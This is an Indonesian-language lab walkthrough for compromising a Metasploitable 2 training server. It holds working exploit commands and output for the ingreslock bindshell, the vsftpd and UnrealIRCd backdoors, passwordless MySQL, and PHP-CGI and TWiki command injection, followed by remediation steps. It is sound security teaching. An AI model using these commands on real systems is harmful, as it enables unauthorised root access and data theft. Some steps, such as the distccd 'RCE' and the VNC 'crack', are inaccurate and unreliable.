Metasploitable 2 - Multi Vuln
Target:
server-vuln.vuln.cybersecurity.or.id
Tools:nmap,netcat,curl,smbclient,mysql
Level: Lanjutan
OS: Metasploitable 2 (Linux Ubuntu 8.04)
Objective
Mengkompromikan server Metasploitable 2 melalui berbagai kerentanan yang ada di service-service yang berjalan. Target akhir adalah mendapatkan root shell dan mengekstrak flag.
Reconnaissance
1.1. Port Scanning
Langkah pertama adalah melakukan port scan untuk mengidentifikasi service yang berjalan:
nmap -sV -p- --min-rate=5000 server-vuln.vuln.cybersecurity.or.id
Output - 20+ port terbuka:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1
23/tcp open telnet Linux telnetd
25/tcp open smtp Sendmail 8.13.8
80/tcp open http Apache httpd 2.2.8
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X
445/tcp open netbios-ssn Samba smbd 3.X
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open shell NetKit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 (GNU)
5432/tcp open postgresql PostgreSQL DB 8.3.0
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8)
1.2. Identifikasi Celah Potensial
Dari hasil scan, beberapa service memiliki kerentanan terkenal:
| Port | Service | Versi | Celah Dikenal |
|---|---|---|---|
| 21 | vsftpd | 2.3.4 | Backdoor RCE (port 6200) |
| 80 | Apache | 2.2.8 | Web apps vulnerable |
| 1524 | ingreslock | - | Bindshell root |
| 3306 | MySQL | 5.0.51a | Root tanpa password |
| 3632 | distccd | v1 | RCE via distcc |
| 5900 | VNC | TightVNC | Password default |
| 6667 | UnrealIRCD | 3.2.8.1 | Backdoor RCE |
| 8787 | DRb | Ruby 1.8 | RCE via Ruby DRb |
Exploitation
2.1. Bindshell - Root Langsung (Port 1524)
Ini adalah celah paling cepat - port 1524 (ingreslock) memberikan root shell langsung tanpa autentikasi:
echo "id" | nc -w 2 server-vuln.vuln.cybersecurity.or.id 1524
Output - root shell:
uid=0(root) gid=0(root) groups=0(root)
Ambil flag:
echo "cat /flag.txt" | nc -w 2 server-vuln.vuln.cybersecurity.or.id 1524
Output - flag:
FLAG{M3t4spl01t4bl3_R0ot_Sh3ll_2025}
2.2. Vsftpd Backdoor (Port 21)
vsftpd 2.3.4 memiliki backdoor yang terpicu saat
login dengan username mengandung smiley :):
echo -e "USER user:) \nPASS pass\n" | nc -w 3 server-vuln.vuln.cybersecurity.or.id 21
Jika berhasil, backdoor membuka shell di port 6200:
echo "id" | nc -w 2 server-vuln.vuln.cybersecurity.or.id 6200
Output:
uid=0(root) gid=0(root) groups=0(root)
2.3. UnrealIRCD Backdoor (Port 6667)
UnrealIRCD 3.2.8.1 memiliki backdoor remote code
execution yang terkenal. Payload dikirim melalui
perintah IRC dengan prefix AB;:
# RCE via UnrealIRCD backdoor
echo -e "AB; /bin/bash -c 'id > /tmp/pwned' \n" | nc -w 3 server-vuln.vuln.cybersecurity.or.id 6667
# Atau langsung eksekusi
echo -e "AB; id \n" | timeout 3 nc server-vuln.vuln.cybersecurity.or.id 6667
2.4. MySQL - Root Access (Port 3306)
MySQL berjalan dengan user root tanpa password:
mysql -h server-vuln.vuln.cybersecurity.or.id -u root
Di dalam MySQL:
mysql> SHOW DATABASES;
mysql> USE mysql;
mysql> SELECT user, host, password FROM user;
mysql> SELECT LOAD_FILE('/flag.txt');
Output LOAD_FILE:
FLAG{M3t4spl01t4bl3_R0ot_Sh3ll_2025}
2.5. PHP-CGI RCE (Port 80)
Apache menjalankan aplikasi web rentan seperti DVWA, phpMyAdmin, dan TWiki. Salah satu yang paling cepat dieksploitasi adalah PHP-CGI Argument Injection:
curl -s "http://server-vuln.vuln.cybersecurity.or.id/cgi-bin/php?-d+allow_url_include=on+d+auto_prepend_file=php://input" \
-d "<?php system('cat /flag.txt'); ?>"
Atau melalui TWiki RCE:
curl -s "http://server-vuln.vuln.cybersecurity.or.id/twiki/bin/view/Main/WebHome?rev=1;cat+/flag.txt"
2.6. Samba - Anonymous Share (Port 445)
Samba 3.0.20 memiliki share anonim yang bisa diakses tanpa autentikasi:
# List shares
smbclient -L //server-vuln.vuln.cybersecurity.or.id -N
Output:
Sharename Type Comment
--------- ---- -------
tmp Disk Temporary file space
opt Disk
IPC$ IPC IPC Service (metasploitable server)
Akses share dan download file:
smbclient //server-vuln.vuln.cybersecurity.or.id/tmp -N
smb: \> ls
smb: \> get flag.txt
2.7. distccd RCE (Port 3632)
distccd adalah service distribusi compiler yang bisa dieksploitasi untuk eksekusi perintah:
python3 -c "
import socket
s = socket.socket()
s.connect(('server-vuln.vuln.cybersecurity.or.id', 3632))
# distcc protocol - send command
s.send(b'DIST00000001ECLIENT00000000008SHOW00000005VERSI\n')
print(s.recv(1024).decode())
s.close()
"
2.8. VNC - Default Password (Port 5900)
VNC menggunakan password default yang sangat lemah:
# Password: password
vncviewer server-vuln.vuln.cybersecurity.or.id:5900
Atau dengan password crack:
echo -ne '\x00\x00\x00\x00\x00\x00\x00\x00' | nc -w 1 server-vuln.vuln.cybersecurity.or.id 5900
Evidence
Screenshot 1: Nmap Scan - 20+ Service

Gambar: Hasil port scanning nmap yang menampilkan 20+ service berjalan dengan versi masing-masing.
Screenshot 2: Bindshell - Root Shell via Port 1524

Gambar: Root shell langsung didapatkan melalui port 1524 tanpa autentikasi.
Screenshot 3: MySQL - Root Access Tanpa Password

Gambar: MySQL root tanpa password, flag berhasil dibaca menggunakan LOAD_FILE.
Ringkasan Celah yang Berhasil Dieksploitasi
| # | Celah | Port | Tingkat Kesulitan | Hasil |
|---|---|---|---|---|
| 1 | Bindshell (ingreslock) | 1524 | 🟢 Mudah | Root shell langsung |
| 2 | Vsftpd backdoor | 21 | 🟢 Mudah | Root shell via port 6200 |
| 3 | MySQL root no pass | 3306 | 🟢 Mudah | Akses database root |
| 4 | UnrealIRCD backdoor | 6667 | 🟡 Sedang | RCE via IRC |
| 5 | PHP-CGI RCE | 80 | 🟡 Sedang | RCE via web |
| 6 | Samba anonymous | 445 | 🟢 Mudah | Akses file share |
| 7 | VNC default pass | 5900 | 🟢 Mudah | Remote desktop |
️ Risk Assessment (CVSS 3.1)
Bindshell (Port 1524) - Paling Kritis
| Metrik | Nilai |
|---|---|
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
| Base Score | 10.0 (Critical) |
| Attack Vector (AV) | Network |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | None |
| User Interaction (UI) | None |
| Confidentiality (C) | High |
| Integrity (I) | High |
| Availability (A) | High |
Dampak Kumulatif
| Aspek | Dampak |
|---|---|
| Total celah | 8+ kerentanan bisa dieksploitasi |
| Akses root | 3 cara berbeda untuk root shell |
| Data breach | Semua database dan file bisa dibaca |
| Lateral movement | Server bisa menjadi pivot untuk serangan lanjutan |
| Persistence | Backdoor bisa dipasang permanen |
️ Remediation
1. Matikan Service yang Tidak Diperlukan
# Matikan bindshell
kill $(lsof -ti:1524)
# Matikan service tidak perlu
service vsftpd stop
service telnet stop
service sendmail stop
service distccd stop
service vncserver stop
2. Update OS dan Paket
# Upgrade semua paket
apt-get update && apt-get upgrade -y
# Update kernel
apt-get install linux-image-generic -y
# Update aplikasi web
apt-get install apache2 php mysql-server -y
3. Konfigurasi Firewall
# UFW (Uncomplicated Firewall)
ufw default deny incoming
ufw default allow outgoing
ufw allow ssh
ufw allow http
ufw enable
Atau menggunakan iptables:
# Blokir semua port yang tidak perlu
iptables -A INPUT -p tcp --dport 1524 -j DROP
iptables -A INPUT -p tcp --dport 6667 -j DROP
iptables -A INPUT -p tcp --dport 3632 -j DROP
iptables -A INPUT -p tcp --dport 5900 -j DROP
4. Konfigurasi MySQL Lebih Aman
-- Set password root
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('StrongP@ssw0rd!');
-- Hapus user anonim
DROP USER ''@'localhost';
-- Nonaktifkan LOAD_FILE untuk user non-root
REVOKE FILE ON *.* FROM 'root'@'localhost';
5. Hapus Aplikasi Web Rentan
# Hapus aplikasi yang tidak diperlukan
rm -rf /var/www/dvwa
rm -rf /var/www/phpMyAdmin
rm -rf /var/www/twiki
rm -rf /var/www/mutillidae
6. Samba Hardening
# Di /etc/samba/smb.conf
[global]
restrict anonymous = 2
map to guest = bad user
# Hapus share publik
#[tmp]
# comment = Temporary file space
# path = /tmp
References
- Metasploitable 2 Exploitability Guide
- CVE-2011-2523 - vsftpd 2.3.4 Backdoor
- CVE-2010-2075 - UnrealIRCd 3.2.8.1 Backdoor
- CVE-2007-2447 - Samba 3.0.20 RCE
- OWASP - Top 10 Vulnerabilities
- NIST National Vulnerability Database
Walkthrough ini disusun untuk tujuan edukasi keamanan siber.
TDCTF Security Academy - Cybersecurity Indonesia